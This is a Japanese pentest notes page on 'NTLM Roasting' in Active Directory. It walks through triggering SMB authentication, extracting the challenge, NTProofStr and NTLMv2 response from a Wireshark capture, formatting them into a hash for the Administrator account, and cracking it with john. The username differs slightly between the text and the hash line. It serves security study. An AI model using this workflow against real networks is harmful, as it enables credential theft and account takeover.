> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/active-directory/lateral-movement/ntlm-roasting.md).
# NTLM Roasting
NTLM RoastingのためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。
Windowsマシンから、まずNTLM認証を発生させます。
{% code overflow="wrap" %}
```bash
dir //172.16.0.10/c$
```
{% endcode %}
Wiresharkでトラフィックをキャプチャすると、次でフィルタできます。 `NTLMSSP`.
次に、サーバーから送られたチャレンジを取得します。
* 9dcfb27e14194959
応答には、クライアントから送られた暗号化された部分も見つかります。
{% code overflow="wrap" %}
```bash
d4742b082e949c7f93311599134ffb9b01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```
{% endcode %}
また、次も確認します。 `NTProofStr`.
* d4742b082e949c7f93311599134ffb9b
最後に、要求を送信しているユーザー名を特定する必要があります。
* Administrator
これらの値はすべて、その後ブルートフォースツールが期待する形式にまとめられます。
{% code overflow="wrap" %}
```bash
UserName::Domain:NTLM_Server_Challenge:NTProofStr:NTLMv2Response-NTProofStr
```
{% endcode %}
{% code overflow="wrap" %}
```bash
Administrador::WHOAMI:9dcfb27e14194959:d4742b082e949c7f93311599134ffb9b:01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```
{% endcode %}
Linuxからは、NTLMv2応答の解読を試みることができます。
{% code overflow="wrap" %}
```bash
john admin.ntlmv2
```
{% endcode %}
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